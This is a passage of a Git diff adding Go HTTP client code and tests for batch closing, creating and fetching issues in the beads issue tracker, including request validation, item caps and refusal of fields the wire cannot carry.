issueops.IssuePatch{} + setEvery := reflect.ValueOf(&patch).Elem() + var wantMembers []string + for name, how := range shapeNamed(t, "applyBatch/update/patch").carried { + setPatchField(t, setEvery.FieldByName(name)) + wantMembers = append(wantMembers, how.member) + } + + document, err := encodeApplyPatch(patch) + if err != nil { + t.Fatalf("a patch setting every carried member refused: %v", err) + } + for name := range document { + if !published[name] { + t.Errorf("the encoded apply patch carries %q, which ApplyPatchBody does not publish: %v", + name, sortedKeys(published)) + } + } + slices.Sort(wantMembers) + got := sortedKeys(toSet(document)) + if strings.Join(got, ",") != strings.Join(wantMembers, ",") { + t.Errorf("the encoded apply patch carries\n %v\nwant the table's carried members\n %v", got, wantMembers) + } +} + +// TestTheApplyLabelPatchIsTheWholeEdit pins the one place this document is +// WIDER than PATCH /v0/beads/issues/{id}'s: a plan edits a label set it did not +// compose, so a REMOVAL has to be expressible without reading the set back. +func TestTheApplyLabelPatchIsTheWholeEdit(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"base"}}, + Add: []string{"added"}, + Remove: []string{"gone"}, + }}, + }, + }}, + }) + if err != nil { + t.Fatalf("a full label patch refused: %v", err) + } + labels, ok := w.lastApply.Items[0].Update.Patch["labels"].(map[string]any) + if !ok { + t.Fatalf("the encoded patch carries labels = %#v, want the ordered edit", w.lastApply.Items[0].Update.Patch["labels"]) + } + for member, want := range map[string][]string{ + "replace": {"base"}, "add": {"added"}, "remove": {"gone"}, + } { + got, ok := labels[member].([]string) + if !ok || !slices.Equal(got, want) { + t.Errorf("labels.%s = %#v, want %v", member, labels[member], want) + } + } + + // A SET replacement holding no labels CLEARS every label, which is the + // state a plain slice could not carry. + w = &stubWire{} + _, err = applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true}, + }}, + }, + }}, + }) + if err != nil { + t.Fatalf("a label clear refused: %v", err) + } + labels = w.lastApply.Items[0].Update.Patch["labels"].(map[string]any) + got, ok := labels["replace"].([]string) + if !ok || len(got) != 0 { + t.Errorf("the clear encoded replace = %#v, want an empty array", labels["replace"]) + } + // AND IT HAS TO MARSHAL AS ONE. A nil []string is len 0 and satisfies every + // assertion above while serializing to JSON `null`, which this member does + // not accept — so the clear is checked at the byte level, which is the level + // the server reads it at. + encoded, err := json.Marshal(labels["replace"]) + if err != nil { + t.Fatalf("marshaling the label clear: %v", err) + } + if string(encoded) != "[]" { + t.Errorf("the clear marshals as %s, want []; a JSON null on this member is not a clear", encoded) + } + if _, present := labels["add"]; present { + t.Error("the clear invented an add member") + } +} diff --git a/internal/httpclient/batchcloser.go b/internal/httpclient/batchcloser.go new file mode 100644 index 000000000..a9d231e3c --- /dev/null +++ b/internal/httpclient/batchcloser.go @@ -0,0 +1,370 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchcloser.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "slices" + "strings" + "unicode" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// readySortPolicies names the only three sort policies a ClaimNext filter +// accepts, mirroring internal/workapi.BuildReadyFilter's vocabulary. It is +// redeclared here rather than imported for the reason list_walk.go, order.go +// and releaser.go each give: depguard denies internal/workapi to this package. +// +// A value outside this list is a deterministic request-validation failure — +// RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure — and that +// holds REGARDLESS of whether the v0 wire can carry a ClaimNext at all: a bad +// sort policy is caught before the capability question is even asked, the same +// way an empty actor or a blank item id is. +var readySortPolicies = []string{"hybrid", "oldest", "priority"} + +// validateReadySortPolicy refuses a ClaimNext filter's sort policy if it names +// anything outside readySortPolicies. An empty policy is the caller leaving it +// to the default and is always legal here. +func validateReadySortPolicy(policy string) error { + if policy == "" || slices.Contains(readySortPolicies, policy) { + return nil + } + return invalid("invalid sort policy '%s'. Valid values: hybrid, priority, oldest", policy) +} + +// maxWireBatchCloseItems is the wire's cap on one batch close: maxBatchCloseItems +// in internal/httpapi/batch_close.go, redeclared here because importing the +// server would drag the storage engine into a client. A batch over the bound +// REFUSES rather than chunking — see ledger row L-close-cap and CloseBatch below. +const maxWireBatchCloseItems = 100 + +// httpBatchCloser serves issueops.BatchCloser over the v0 wire. +// +// WHERE THE WIRE CARRIES issues.batchClose, the whole CloseBatchRequest is one +// wire call: many items, per-item outcomes, and the atomic ClaimNext included. +// That is the operation this role was always waiting for — `bd close a b c` is +// one transaction with at most one history entry, and only a single wire call +// preserves that where a loop of closeIssue could not. +// +// WHERE IT DOES NOT — a server too old to advertise the capability — the role +// falls back to the ONE shape a bare closeIssue can honestly compose: a single +// item with no ClaimNext, which is the shape `bd close ` issues for the +// common case. Every other shape refuses in that leg rather than looping, because +// N sequential closes are N transactions and N history entries where the contract +// promises one, and ClaimNext runs INSIDE the closes' transaction and can see an +// unblocking the batch itself produced. See refuseUnservedCloseShape. +// +// CLIENT-SIDE VALIDATION happens first on both legs: the role contract calls an +// empty actor, an empty batch or a blank item id invalid, so they must not +// consume a write slot to be told so. The item cap is enforced here too, and it +// refuses — never chunks — for the reason L16's dependency-add cap does. +type httpBatchCloser struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchCloser = (*httpBatchCloser)(nil) + +// CloseBatch closes the batch, on the wire's batchClose operation where the +// server advertises it and by composing a single closeIssue where it does not. +func (b *httpBatchCloser) CloseBatch(ctx context.Context, req issueops.CloseBatchRequest) (result issueops.CloseBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = b.store.inexpressible("BatchCloser.CloseBatch", err) }() + // Request validation first, and all of it client-side. A non-nil error here + // carries no outcomes, which the method's contract requires. + if err := requireActor(req.Actor); err != nil { + return issueops.CloseBatchResult{}, err + } + if len(req.Items) == 0 { + return issueops.CloseBatchResult{}, invalid("a batch close names no items") + } + for i, item := range req.Items { + if item.IssueID == "" { + return issueops.CloseBatchResult{}, invalid("items[%d].issue_id is required", i) + } + } + // ClaimNext's OWN request rules run before the capability question is asked, + // the same ordering ReadyClaimer.ClaimNext uses: a filter that is invalid on + // every backend (a limit, an offset, a brief projection, or an unknown sort + // policy) is ErrValidation here, not a refusal of a capability the wire + // might have had. RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure + // pins this — the item is real and closeable, so a backend that ran the + // batch before discovering the bad filter would still have to undo it. + if req.ClaimNext != nil { + if err := storageops.ValidateClaimNextRequest(issueops.ClaimNextRequest{Actor: req.Actor, Filter: *req.ClaimNext}); err != nil { + return issueops.CloseBatchResult{}, err + } + if err := validateReadySortPolicy(req.ClaimNext.Sort); err != nil { + return issueops.CloseBatchResult{}, err + } + // Past its own validation, ClaimNext still refuses unconditionally: OSS's + // apigen.BatchCloseRequest and BatchCloseResponse publish no + // claim_next/claimed_next member at all, so there is no shape — valid or + // not — for this field to encode into. See ledger row + // W-CloseBatchRequest.ClaimNext. + return issueops.CloseBatchResult{}, refuse(encode.OpBatchCloseIssues, "W-CloseBatchRequest.ClaimNext") + } + // The wire's item cap, enforced before the dial and NEVER by chunking: a + // split batch is N transactions where the caller asked for one. L-close-cap. + if len(req.Items) > maxWireBatchCloseItems { + return issueops.CloseBatchResult{}, refuse(encode.OpBatchCloseIssues, "L-close-cap") + } + + served, err := b.servesBatchClose(ctx) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if served { + return b.serveBatch(ctx, req) + } + return b.serveComposedSingle(ctx, req) +} + +// servesBatchClose reports whether the server advertises issues.batchClose. It +// forces the one lazy handshake the store already owns and reads the cached +// capability list, so the check costs at most one round trip and none once the +// handshake has run. +// +// IT RETURNS THE HANDSHAKE'S ERROR, and servesListSort (list_walk.go) — the +// same probe against the same snapshot — deliberately swallows its own and +// reports false. The asymmetry is the design, and neither should be "fixed" +// into the other: this is a WRITE whose only legs both dial, so a handshake +// that cannot be obtained means the close cannot be attempted at all and +// hiding that would turn a transport failure into a silent down-level route. +// listIssues is a baseline READ whose fallback leg needs no handshake and +// worked before the capability existed, so propagating there would newly fail +// a `bd list` that succeeds today. +func (b *httpBatchCloser) servesBatchClose(ctx context.Context) (bool, error) { + snap, err := b.store.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + token, _ := wire.CapabilityFor(wire.OpBatchCloseIssues) + return slices.Contains(snap.Capabilities, token), nil +} + +// serveBatch sends the whole request on one issues:batchClose call and reads the +// per-item outcomes back. +func (b *httpBatchCloser) serveBatch(ctx context.Context, req issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + body := batchCloseBody(req) + resp, err := b.wire.BatchCloseIssues(ctx, body) + if err != nil { + return issueops.CloseBatchResult{}, err + } + return decodeBatchCloseResult(req, resp) +} + +// serveComposedSingle is the down-level fallback: the single-item, no-ClaimNext +// shape composed onto closeIssue, with every other shape refused citing the +// missing capability. It is TODAY's serve, reached only when issues.batchClose +// is absent. +func (b *httpBatchCloser) serveComposedSingle(ctx context.Context, req issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if err := b.store.refuseUnservedCloseShape(req); err != nil { + return issueops.CloseBatchResult{}, err + } + item := req.Items[0] + res, err := b.wire.CloseIssue(ctx, item.IssueID, closeBody(req.Actor, item.Reason, req.Session, req.Force)) + if err != nil { + if outcome, ok := perItemCloseRefusal(item.IssueID, err); ok { + // A per-item refusal is a RESULT and never the method's error. The + // batch of one has nothing left to commit, but the caller still reads + // its answer out of Outcomes like any other batch. + return issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{outcome}}, nil + } + return issueops.CloseBatchResult{}, err + } + + issue := res.Issue + return issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{{ + IssueID: item.IssueID, + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + }}}, nil +} + +// batchCloseBody projects the role request onto the wire body. Reasons ride per +// item, and session and force are request-wide. ClaimNext has no member to +// project onto — CloseBatch refuses it unconditionally before this body is +// ever built (W-CloseBatchRequest.ClaimNext), so req.ClaimNext is always nil +// here. +func batchCloseBody(req issueops.CloseBatchRequest) apigen.BatchCloseRequest { + items := make([]apigen.BatchCloseItem, len(req.Items)) + for i, item := range req.Items { + items[i] = apigen.BatchCloseItem{Id: item.IssueID} + if item.Reason != "" { + reason := item.Reason + items[i].Reason = &reason + } + } + body := apigen.BatchCloseRequest{Actor: req.Actor, Items: items} + if req.Session != "" { + session := req.Session + body.Session = &session + } + if req.Force { + force := true + body.Force = &force + } + return body +} + +// decodeBatchCloseResult reads the wire response back into the role's result. +// +// The server's contract is one outcome per item in request order; a length that +// disagrees is a broken server, which is the METHOD's failure and carries no +// outcomes rather than a per-item one the caller might trust. +// +// The result's ClaimedNext always stays nil: OSS's apigen.BatchCloseResponse +// publishes no claimed_next member for this client to decode, and CloseBatch +// refuses any request that asked for one before a body is ever sent (see +// ledger row W-CloseBatchRequest.ClaimNext), so there is nothing a server +// could answer here that this client would read. +func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCloseResponse) (issueops.CloseBatchResult, error) { + if len(resp.Outcomes) != len(req.Items) { + return issueops.CloseBatchResult{}, fmt.Errorf( + "bd serve returned %d batch-close outcomes for %d items", len(resp.Outcomes), len(req.Items)) + } + outcomes := make([]issueops.CloseOutcome, len(resp.Outcomes)) + for i := range resp.Outcomes { + outcomes[i] = decodeBatchCloseOutcome(resp.Outcomes[i]) + } + return issueops.CloseBatchResult{Outcomes: outcomes}, nil +} + +// decodeBatchCloseOutcome reads ONE wire outcome. +// +// `code` IS THE DISCRIMINATOR, which is the wire's own rule: present means the +// item refused and nothing was written for it; absent means it succeeded and +// the snapshot, `already_closed` and `open_children` are all present. The +// members are FLAT on the outcome rather than nested under an error object, so +// `open_children` is read from the same field in both branches and means two +// different things depending on which one — see the schema. +func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { + out := issueops.CloseOutcome{IssueID: item.IssueId} + if item.Code != nil { + out.Err = perItemCloseError(item.IssueId, item) + return out + } + // A successful outcome carries the snapshot; already_closed is the idempotent + // re-close (Changed false), and open_children is what a forced close observed. + out.Issue = item.Issue + if item.OpenChildren != nil { + out.OpenChildren = *item.OpenChildren + } + out.Changed = item.AlreadyClosed == nil || !*item.AlreadyClosed + return out +} + +// perItemCloseError is the shared code -> error table that turns a refused wire +// outcome into the canonical close vocabulary a local batch would have +// returned, so a caller classifies a remote per-item refusal with the same +// errors.Is/errors.As arms it already has: +// +// not_found -> issueops.ErrNotFound +// not_closable + open_children -> *issueops.CloseOpenChildrenError +// not_closable -> issueops.ErrCloseBlocked +// an unknown code -> *wire.UnknownItemCodeError (the generic +// typed per-item error, so version skew lands +// as a typed refusal rather than a silent gap) +// +// The member-presence discriminator on not_closable is the same one the single +// close's 409 uses, and it comes from the typed field, never from parsing prose. +// +// It is only ever called with a refused outcome — Code non-nil — which the one +// caller above guarantees. +func perItemCloseError(issueID string, item apigen.CloseOutcome) error { + var code string + if item.Code != nil { + code = *item.Code + } + switch code { + case codeNotFound: + return issueops.ErrNotFound + case codeNotClosable: + if item.OpenChildren != nil { + return &issueops.CloseOpenChildrenError{IssueID: issueID, OpenChildren: *item.OpenChildren} + } + return issueops.ErrCloseBlocked + default: + var detail string + if item.Detail != nil { + detail = stripItemControlRunes(*item.Detail) + } + return &wire.UnknownItemCodeError{ + IssueID: issueID, + Code: stripItemControlRunes(code), + Detail: detail, + } + } +} + +// The two per-item refusal codes this outcome can carry. They are the +// `Problem.code` spellings, restated here rather than imported because +// importing the server package would drag the storage engine into a client. +const ( + codeNotFound = "not_found" + codeNotClosable = "not_closable" +) + +// stripItemControlRunes removes control runes from a server-controlled per-item +// string before it becomes a typed error, mirroring the wire problem mapper's +// own source-layer strip: the unknown-code carrier reaches the same per-id +// stderr sinks a decoded ProblemError does. +func stripItemControlRunes(s string) string { + return strings.Map(func(r rune) rune { + if unicode.IsControl(r) || r == '
' || r == '
' { + return -1 + } + return r + }, s) +} + +// refuseUnservedCloseShape names the shape that refused in the DOWN-LEVEL leg, so +// the refusal says which of the two reasons it is rather than "batch close is +// unsupported". It survives only in that leg: where issues.batchClose is +// advertised, every shape is served on one wire call and nothing reaches here. +// +// ClaimNext is not checked here: CloseBatch refuses it unconditionally, on +// both legs, before either serving method is called (see ledger row +// W-CloseBatchRequest.ClaimNext), so req.ClaimNext is always nil by the time +// a request reaches this leg. +func (s *Store) refuseUnservedCloseShape(req issueops.CloseBatchRequest) error { + if len(req.Items) > 1 { + return s.unsupported("BatchCloser.CloseBatch(multi-item)") + } + return nil +} + +// perItemCloseRefusal separates the close vocabulary an ITEM answers with from +// the failures the METHOD answers with, for the composed single-item leg. +// +// The three it recognizes are exactly what Lifecycle.Close returns, and exactly +// what the wire's problem mapper reconstructs: not_found becomes ErrNotFound, +// not_closable carrying open_children becomes *CloseOpenChildrenError, and +// not_closable without it becomes ErrCloseBlocked. Everything else — a transport +// failure, a 503, an unknown 4xx — is the method's, because it says nothing about +// this item and would be a lie as a per-item outcome. +func perItemCloseRefusal(issueID string, err error) (issueops.CloseOutcome, bool) { + var openChildren *issueops.CloseOpenChildrenError + switch { + case errors.As(err, &openChildren): + case errors.Is(err, issueops.ErrNotFound): + case errors.Is(err, issueops.ErrCloseBlocked): + default: + return issueops.CloseOutcome{}, false + } + return issueops.CloseOutcome{IssueID: issueID, Err: err}, true +} diff --git a/internal/httpclient/batchcreator.go b/internal/httpclient/batchcreator.go new file mode 100644 index 000000000..ea9b1f7be --- /dev/null +++ b/internal/httpclient/batchcreator.go @@ -0,0 +1,296 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchcreator.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "reflect" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxBatchCreateItems mirrors the wire's own bound (internal/httpapi's +// batch_create.go, and the document's maxItems). It is checked here for +// maxDeleteIDs' reason: the request IS the transaction, so splitting a longer +// plan into two requests would turn one atomic create into two — and half a +// file is the outcome the role's all-or-nothing promise exists to make +// impossible. A caller that really has more than a hundred issues splits the +// plan deliberately, which is the document's own advice. +const maxBatchCreateItems = 100 + +// batchCreateCarriedIssueMembers is the wire's item vocabulary: the eight +// members of apigen.BatchCreateItem that describe the issue itself, keyed by the +// types.Issue field each one carries. +// +// It is the ALLOWLIST half of refuse-not-drop for this operation. What it does +// not name is refused, and there is no third arm — see refuseUnwirableIssue. +// +// Status and CreatedBy are deliberately absent, each for its own reason, and +// neither belongs in roleIgnoredCreateIssueMembers below: both are genuinely +// ACCEPTED by the role's canonical create rules (CreateRequest.Issue's doc, +// which BatchCreateItem.Issue inherits without exception), so silently +// dropping either would be exactly the data loss refuse-not-drop exists to +// prevent. +// - Status: apigen.BatchCreateItem publishes no status member at all, unlike +// single create's apigen.CreateIssueRequest (which does, see +// createCarriedIssueMembers). A populated value is correctly refused. The +// common case is not lost: PreparePublicCreateRequest defaults an empty +// Status to StatusOpen on every backend, so a caller that only ever wants +// the default (cmd/bd/markdown.go's `bd create --file`) leaves it unset +// rather than spelling out "open" and tripping this refusal. That removes +// ONE refusal from `bd create --file`, not all of them: its request still +// always names a Provenance (W-CreateBatchRequest.Provenance) and usually +// an Owner from git config (W-BatchCreateItem.Issue), so it still refuses +// over this wire. +// - CreatedBy: apigen.BatchCreateItem has no member for it either, but the +// batch server stamps every item's created_by from the request's actor +// (internal/httpapi/batch_create.go), as single create does. A CreatedBy +// naming the actor is therefore carried BY the actor +// (actorStampedCreateMember below), and any other value is refused rather +// than silently replaced by the stamp. +var batchCreateCarriedIssueMembers = map[string]string{ + "Title": "title", + "Description": "description", + "Design": "design", + "AcceptanceCriteria": "acceptance_criteria", + "Priority": "priority", + "IssueType": "issue_type", + "Assignee": "assignee", + "Labels": "labels", +} + +// roleIgnoredCreateIssueMembers are the members the ROLE ITSELF ignores on a +// create, each with the reason, taken from issueops.CreateRequest.Issue's own +// list: "It ignores ContentHash, RowVersion, lease state, compaction state, +// routing overrides, hydration flags, and derived fields." +// +// They are not divergences and must not be refused. A local create drops them +// too, so refusing here would make an http workspace REJECT a request every +// other backend accepts — the opposite failure from the one refuse-not-drop +// guards, and just as wrong. +var roleIgnoredCreateIssueMembers = map[string]string{ + "ContentHash": "derived: recomputed from the stored content", + "RowVersion": "derived: the engine stamps its own row lock", + "LeaseExpiresAt": "lease state: a create grants no lease", + "HeartbeatAt": "lease state: a create grants no lease", + "LeaseGrantedNode": "lease state: a create grants no lease", + "CompactionLevel": "compaction state: nothing is compacted at create", + "CompactedAt": "compaction state: nothing is compacted at create", + "CompactedAtCommit": "compaction state: nothing is compacted at create", + "OriginalSize": "compaction state: nothing is compacted at create", + "SourceRepo": "routing override: which local database owns the row", + "IDPrefix": "routing override: id generation is the server's", + "PrefixOverride": "routing override: id generation is the server's", + "WispPlaneOverride": "routing override: import's explicit plane marker", + "IsLitePartial": "hydration flag: describes a READ, not a create", +} + +// actorStampedCreateMember reports whether a populated issue member is one the +// server writes from the request's actor rather than reads from the body, and +// already holds the value that stamp will write. +// +// CreatedBy is the one such member: every create shape stamps created_by from +// the actor (internal/httpapi's create.go, batch_create.go and batch_apply.go). +// It is neither carried nor role-ignored — a local create stores whatever the +// issue names — so it is carried BY THE ACTOR: a CreatedBy that names the actor, +// which is what `bd create`, `bd create --file` and the graph apply send, +// arrives as written, and any other value would be silently replaced by the +// stamp and is refused. +func actorStampedCreateMember(member string, issue *issueops.Issue, actor string) bool { + return member == "CreatedBy" && issue.CreatedBy == actor +} + +// httpBatchCreator serves issueops.BatchCreator from the batchCreateIssues +// custom method (design D8 row 14) — the write side of `bd create --file`. +// +// THE REQUEST IS THE TRANSACTION on both sides, and that is the whole reason +// this composes at all: the wire's operation is itself all-or-nothing, so one +// role call is one request is one server-side transaction with at most one +// history entry. Nothing here loops, and nothing here chunks. +// +// WHAT THE WIRE'S ITEM CANNOT SAY is where the work is. apigen.BatchCreateItem +// publishes eight content members and a dependency list; issueops reads a whole +// types.Issue, and the role accepts far more of it than that — an explicit id, +// the wisp flags, metadata, the gate and molecule fields, every timestamp. +// Every one of those is refused rather than dropped (ledger row +// W-BatchCreateItem.Issue): a create that reported success having silently +// planted an issue in the durable tier that the caller asked to be ephemeral is +// data loss the caller has no way to learn about. +// +// The refusal is decided by REFLECTION over the two tables above rather than by +// a hand-written switch, so a member added to types.Issue tomorrow is refused +// the day it lands instead of dropped until someone notices. +type httpBatchCreator struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchCreator = (*httpBatchCreator)(nil) + +// CreateBatch dials POST /v0/beads/issues:batchCreate. +func (b *httpBatchCreator) CreateBatch(ctx context.Context, req issueops.CreateBatchRequest) (result issueops.CreateBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply batchCreateItem/batchCreateEdge/refuseUnwirableIssue + // nested it inside an "items[%d]..." prefix — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. The original composite message + // (including that prefix) is preserved in the decorated error's own text. + defer func() { err = b.store.inexpressible("BatchCreator.CreateBatch", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.CreateBatchResult{}, err + } + if len(req.Items) == 0 { + return issueops.CreateBatchResult{}, invalid("a batch create names no items") + } + if len(req.Items) > maxBatchCreateItems { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "L-batchcreate-bound") + } + if req.Provenance != "" { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "W-CreateBatchRequest.Provenance") + } + if req.ForceIDPrefix { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "W-CreateBatchRequest.ForceIDPrefix") + } + + items := make([]apigen.BatchCreateItem, 0, len(req.Items)) + for i, item := range req.Items { + wireItem, err := batchCreateItem(i, item, req.Actor) + if err != nil { + return issueops.CreateBatchResult{}, err + } + items = append(items, wireItem) + } + + res, err := b.wire.BatchCreateIssues(ctx, apigen.BatchCreateRequest{Actor: req.Actor, Items: items}) + if err != nil { + return issueops.CreateBatchResult{}, err + } + + // One entry per requested item, in request order, never nil. The response is + // read back rather than the request echoed because the GENERATED IDS are the + // one fact the request cannot carry — and a server that answered a different + // length would be caught here rather than by an index panic upstream. + if len(res.Items) != len(req.Items) { + return issueops.CreateBatchResult{}, fmt.Errorf( + "batchCreateIssues answered %d issues for %d items; the operation is all-or-nothing and has no partial outcome", + len(res.Items), len(req.Items)) + } + issues := make([]*issueops.Issue, len(res.Items)) + for i := range res.Items { + issue := res.Items[i] + issues[i] = &issue + } + return issueops.CreateBatchResult{Issues: issues}, nil +} + +// batchCreateItem projects one role item onto the wire's item. +func batchCreateItem(index int, item issueops.BatchCreateItem, actor string) (apigen.BatchCreateItem, error) { + if item.Issue == nil { + return apigen.BatchCreateItem{}, invalid("items[%d] carries no issue", index) + } + if len(item.Issue.Comments) > 0 || len(item.Issue.Dependencies) > 0 { + // The ROLE's own rule, not a wire divergence: edges are supplied through + // the item's own Dependencies, and a create batch has no way to supply + // comments at all. A local backend refuses this too. + return apigen.BatchCreateItem{}, invalid( + "items[%d].Issue carries comments or dependencies; supply edges through the item's own Dependencies", index) + } + if err := refuseUnwirableIssue(index, item.Issue, actor); err != nil { + return apigen.BatchCreateItem{}, err + } + + // Priority is sent ALWAYS, unlike the five optional strings: 0 is P0 and a + // real request, so an absent member — which the server reads as "the + // workspace default" — would silently reprioritize every critical issue in a + // plan. The pointer addresses a local copy, never the caller's field. + priority := item.Issue.Priority + wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: &priority} + setItemString(&wireItem.Description, item.Issue.Description) + setItemString(&wireItem.Design, item.Issue.Design) + setItemString(&wireItem.AcceptanceCriteria, item.Issue.AcceptanceCriteria) + setItemString(&wireItem.Assignee, item.Issue.Assignee) + setItemString(&wireItem.IssueType, string(item.Issue.IssueType)) + if len(item.Issue.Labels) > 0 { + labels := append([]string(nil), item.Issue.Labels...) + wireItem.Labels = &labels + } + + if len(item.Dependencies) > 0 { + edges := make([]apigen.BatchCreateDependency, 0, len(item.Dependencies)) + for j, dep := range item.Dependencies { + edge, err := batchCreateEdge(index, j, dep) + if err != nil { + return apigen.BatchCreateItem{}, err + } + edges = append(edges, edge) + } + wireItem.Dependencies = &edges + } + return wireItem, nil +} + +// batchCreateEdge projects one requested edge. The wire's edge carries a target +// and a type and nothing else, so the three members issueops.CreateDependency +// adds refuse. +func batchCreateEdge(index, j int, dep issueops.CreateDependency) (apigen.BatchCreateDependency, error) { + where := func(err error) error { return fmt.Errorf("items[%d].dependencies[%d]: %w", index, j, err) } + switch { + case dep.TargetID == "": + return apigen.BatchCreateDependency{}, where(invalid("target_id is required")) + case dep.Type == "": + return apigen.BatchCreateDependency{}, where(invalid("type is required")) + case dep.Reverse: + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.Reverse")) + case dep.Metadata != "": + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.Metadata")) + case dep.ThreadID != "": + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.ThreadID")) + } + return apigen.BatchCreateDependency{TargetId: dep.TargetID, Type: string(dep.Type)}, nil +} + +// refuseUnwirableIssue is the other half of the allowlist: every populated +// member of the issue that is neither carried by the wire, nor ignored by the +// role, nor stamped from the actor (actorStampedCreateMember). +// +// It answers the FIRST offender in declaration order, which is deterministic — +// a caller fixing one member at a time must not see the reported member depend +// on map iteration. +func refuseUnwirableIssue(index int, issue *issueops.Issue, actor string) error { + value := reflect.ValueOf(*issue) + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if _, carried := batchCreateCarriedIssueMembers[field.Name]; carried { + continue + } + if _, ignored := roleIgnoredCreateIssueMembers[field.Name]; ignored { + continue + } + if value.Field(i).IsZero() || actorStampedCreateMember(field.Name, issue, actor) { + continue + } + // The ledger row is the vocabulary; the member name is the fact the row + // cannot carry, because one row covers the whole population. + return fmt.Errorf("items[%d].Issue.%s: %w", + index, field.Name, refuse(encode.OpBatchCreateIssues, "W-BatchCreateItem.Issue")) + } + return nil +} + +// setItemString writes an optional wire member, leaving it absent when the role +// carried nothing. An empty string and an omitted member mean the same thing on +// every one of these five, so absent is the honest encoding. +func setItemString(dest **string, value string) { + if value == "" { + return + } + v := value + *dest = &v +} diff --git a/internal/httpclient/batchgetter.go b/internal/httpclient/batchgetter.go new file mode 100644 index 000000000..3f48ef403 --- /dev/null +++ b/internal/httpclient/batchgetter.go @@ -0,0 +1,130 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchgetter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpBatchGetter serves batchGetIssues (POST /v0/beads/issues:batchGet) — +// the role behind gc's ready veto and the CLI's own id-resolution passes, +// once they move off one Get per id. +// +// IT IS A READ, DIALED AS A POST: the request carries an `ids` array no GET +// query string can hold cleanly at the operation's own cap (MaxGetManyIDs), +// the same reason queryIssues dials POST rather than GET. Nothing about that +// changes the role's nature — it writes nothing, takes no actor and no +// version guard — so this goes through dispatch directly, the way Counter +// and Querier do, rather than through roleWire: there is no write envelope +// here for a WriteWire method to carry. +// +// THE CAP AND THE BLANK-ID CHECK ARE DONE HERE, BEFORE THE DIAL, and that is +// a deliberate divergence from how every other validation on this surface +// works: everywhere else, the role's own ErrValidation reaches the wire +// through the server's failure translation and this client decodes it back. +// batch_get.go's failBatchGetErr does not do that — it collapses EVERY +// validation failure, the cap included, into one generic +// InvalidArgument/invalid_value problem with no distinguishing code, so a +// server round trip can never hand this client the exact +// *issueops.TooManyIDsError{Requested, Cap} the role's own contract and the +// conformance suite's errors.As checks require. checkGetManyIDs reproduces +// internal/storage/issueops.ValidateGetManyRequest's exact two checks, in +// its exact order (the cap, counted before deduplication; then the first +// blank entry) — not by importing that package, which is the storage +// engine's shared body and does not belong in a transport client, but by +// restating its two rules against the same public issueops types the role +// itself is spelled in. +type httpBatchGetter struct{ store *Store } + +var _ issueops.BatchGetter = (*httpBatchGetter)(nil) + +// GetMany dials POST /v0/beads/issues:batchGet. +// +// The ids are sent VERBATIM — not trimmed, not deduplicated, not reordered — +// checkDeleteIDs' sibling reason: the wire's own `ids` member document says +// duplicates collapse and the answer comes back in first-mention order, +// which is exactly the normalization ValidateGetManyRequest's callers +// (ExecuteGetMany, via DedupeGetManyIDs and FinishGetMany) apply server-side. +// 